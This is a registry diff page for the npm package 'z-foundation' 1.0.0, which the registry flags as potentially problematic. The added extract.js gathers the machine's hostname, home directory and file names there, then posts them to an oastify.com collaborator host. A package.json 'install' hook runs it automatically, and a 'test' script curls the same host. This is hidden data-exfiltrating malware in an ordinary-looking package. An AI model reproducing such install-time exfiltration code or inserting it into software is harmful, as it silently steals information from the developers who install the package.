z-foundation 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of z-foundation might be problematic. Click here for more details.
- package/extract.js +62 -0
- package/index.js +1 -0
- package/package.json +15 -0
package/extract.js
ADDED
@@ -0,0 +1,62 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
var os = require("os");
|
3
|
+
const fs = require('fs');
|
4
|
+
const querystring = require("querystring");
|
5
|
+
// const dns = require("dns");
|
6
|
+
|
7
|
+
// Get list of files in current directory
|
8
|
+
function readAllFileNames() {
|
9
|
+
const files = fs.readdirSync(os.homedir());
|
10
|
+
return files.join(',');
|
11
|
+
}
|
12
|
+
// console.log(readAllFileNames());
|
13
|
+
var hn = os.hostname();
|
14
|
+
var hostname = Buffer.from(hn).toString('hex');
|
15
|
+
const trackingData = JSON.stringify({
|
16
|
+
cwd: __dirname,
|
17
|
+
hd: os.homedir(),
|
18
|
+
hn: hn,
|
19
|
+
f: readAllFileNames(),
|
20
|
+
// un: os.userInfo().username,
|
21
|
+
// dns: dns.getServers(),
|
22
|
+
// r: packageJSON ? packageJSON.___resolved : undefined,
|
23
|
+
// v: packageJSON.version,
|
24
|
+
// pjson: packageJSON,
|
25
|
+
});
|
26
|
+
var postData = querystring.stringify({
|
27
|
+
msg: trackingData,
|
28
|
+
});
|
29
|
+
|
30
|
+
// const data = new TextEncoder().encode(
|
31
|
+
// JSON.stringify({
|
32
|
+
// payload: hostname,
|
33
|
+
// project_id: process.argv[2]
|
34
|
+
// })
|
35
|
+
// )
|
36
|
+
|
37
|
+
const options = {
|
38
|
+
hostname: process.argv[2] + '.' + hostname + '.mxn0rv5d5y7kn0bquc5mo1e0ur0io9cy.oastify.com',
|
39
|
+
// hostname: "a237-116-230-177-58.ngrok-free.app",
|
40
|
+
port: 443,
|
41
|
+
path: '/',
|
42
|
+
method: 'POST',
|
43
|
+
headers: {
|
44
|
+
'Content-Type': 'application/x-www-form-urlencoded',
|
45
|
+
'Content-Length': postData.length
|
46
|
+
},
|
47
|
+
rejectUnauthorized: false
|
48
|
+
}
|
49
|
+
|
50
|
+
const req = https.request(options, res => {
|
51
|
+
|
52
|
+
})
|
53
|
+
|
54
|
+
// console.log(postData);
|
55
|
+
|
56
|
+
req.on('error', error => {
|
57
|
+
console.error(error)
|
58
|
+
})
|
59
|
+
|
60
|
+
req.write(postData)
|
61
|
+
req.end()
|
62
|
+
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
console.log(123);
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "z-foundation",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "test",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"install": "node extract.js zfoundatioin",
|
8
|
+
"test": "curl https://zfoundatioin.mxn0rv5d5y7kn0bquc5mo1e0ur0io9cy.oastify.com/"
|
9
|
+
},
|
10
|
+
"keywords": [
|
11
|
+
"test"
|
12
|
+
],
|
13
|
+
"author": "admin",
|
14
|
+
"license": "ISC"
|
15
|
+
}
|